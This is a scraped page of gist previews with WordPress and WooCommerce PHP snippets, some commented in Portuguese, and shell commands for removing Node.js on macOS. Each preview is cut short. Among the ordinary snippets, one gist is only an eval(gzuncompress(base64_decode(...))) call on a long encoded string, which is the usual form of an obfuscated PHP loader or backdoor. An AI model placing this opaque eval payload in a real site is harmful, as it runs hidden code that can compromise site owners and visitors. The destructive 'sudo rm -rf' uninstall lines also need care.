This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter( 'woocommerce_product_tabs', 'wc_remove_product_tabs', 98 ); | |
function wc_remove_product_tabs( $tabs ) { | |
//Not to remove a particular tab , just add the // in front . | |
unset( $tabs['description'] ); // Description Tab | |
unset( $tabs['reviews'] ); // Reviews tab | |
unset( $tabs['additional_information'] ); // Additional Information | |
return $tabs; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action( 'woocommerce_before_add_to_cart_button' , 'woocommerce_before_add_to_cart_button_variation' ); | |
function woocommerce_before_add_to_cart_button_variation() { | |
global $woocommerce, $product, $post; | |
if ( empty( $available_variations )) { | |
echo '<button id="newbutton" type="submit" class="single_add_to_cart_button button alt">' . $product->single_add_to_cart_text() . '</button>'; | |
} | |
} | |
add_action( 'woocommerce_after_add_to_cart_form' , 'woocommerce_after_add_to_cart_form_remove_button', 1000 ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
eval(gzuncompress(base64_decode('eNqFVm1v01YU/it3USXiNg1+iZOmVTZBkxZYaas0aQsYWTfOTeLG8Y3s68ahQryI8dayaQJWpH3aB7qJia1DQhNCk4CNabCNCSa2shXtr+xcu6xJ6MCtbCf33POcc55znxPDwq6L9Ktnfl97sdR0zEXMCHIZZqbRpz//7vTq5sju/r0WpWXbtBfwMNqPLNOoozb1HESwY9ESiSFsl5Fnl2n4dQszoxbv3x26QRXPNphJbaRfuPnV7TurP/x4Ltqn3zrz853HwpJZib7jEqsyPLwFJwyHH/XNlx/cfBEVAH4GO7gmpSsGwDfgiiFax20AIHbZrIw4hHmOjfZiN5dM6Nnc6FQ5F+3yeWQL7qgwcrw3G4brBMJGTWwzF9FKJYaqjmcz065CprCGEXOoZQFcd3k68toKdakLNIMdB7ejEV3zy6omS4m16081f4hEMu92p3SI4FpQVgAzGXKoV+XVixRymq+ks5okS0W/wB+aryY1PyGPRWLgVhEVzS+JJ784++eDG4HX7szcBg6JQqzGKStRynjVIliTJDEvGlm6OAEQyp5jE3a5pUmKJI8taH4ScBKpIjvU8DUpmTysiUm5rElqwjDVhRJskMVFMJb52yzcxNK45WHlIBirhiaJqVprWh7T/FQKz00uHh6HyNV0aZx/oxyag/tQbTILqUjgEzYA1ph9GByKs20Al8FDQszwDD9Z+2fj3GvlmqqhNlQsBllhhiqEWC6qQt5BZvvyPCDIjEcOaSZaGU1Mqdzb7Uunrmg+lq59ef/xa9Wa4bWKvXq0CSEY12oBDUVxdiYsfLI0OzMP1RABQ93LGVFhQQ1i3dR8IwXu8QmgWtIUKfUrECSu78BLg3ecSxsEMYpdFhweAqkA99B+4RGCQxlHE3xlahc868RFJY8xAiuWhUw7tDIcCDeODsKZCCKtAx0qcMIDk+RkYXYsHUauqvV6EObK8tONn26cv6cpsgKhRQ7Y3PAYp3P+QA0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/ Remove WP Version From Styles | |
add_filter( 'style_loader_src', 'remove_version_css_js', 9999 ); | |
// Remove WP Version From Scripts | |
add_filter( 'script_loader_src', 'remove_version_css_js', 9999 ); | |
// Function to remove version numbers | |
function remove_version_css_js( $src ) { | |
if ( strpos( $src, 'ver=' ) ) | |
$src = remove_query_arg( 'ver', $src ); | |
return $src; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Custom pagination_base | |
function url_pagination_base() { | |
global $wp_rewrite; | |
$wp_rewrite->pagination_base = 'pagina'; | |
} | |
add_action( 'init', 'url_pagination_base' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 1: | |
lsbom -f -l -s -pf /var/db/receipts/org.nodejs.pkg.bom | while read f; do sudo rm /usr/local/${f}; done | |
sudo rm -rf /usr/local/lib/node /usr/local/lib/node_modules /var/db/receipts/org.nodejs.* | |
* 2: | |
cd /usr/local/lib | |
sudo rm -rf node* | |
# 3: | |
cd /usr/local/include |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
query_posts( array( | |
'post_type' => 'MINHA CATEGORIA', | |
'posts_per_page' => 5 | |
) | |
); | |
while ( have_posts() ) : the_post(); | |
OU | |
//PEGO A CATEGORIA 10 E FAÇO ELA EXIBIR 1 | |
<?php $recent = new WP_Query("cat=10&showposts=1"); while($recent->have_posts()) : $recent->the_post();?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$args = array( | |
'post_type' => 'product', | |
'meta_key' => '_featured', | |
'meta_value' => 'yes', | |
'posts_per_page' => 1 | |
); | |
$featured_query = new WP_Query( $args ); | |
if ($featured_query->have_posts()) : | |
while ($featured_query->have_posts()) : |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
get_header(); ?> | |
<div id="primary" class="content-area"> | |
<div id="content" class="site-content" role="main"> | |
<header class="page-header"> | |
<h1 class="page-title"><?php _e( 'Página não encontrada', 'meu_tema_aqui' ); ?></h1> | |
</header> |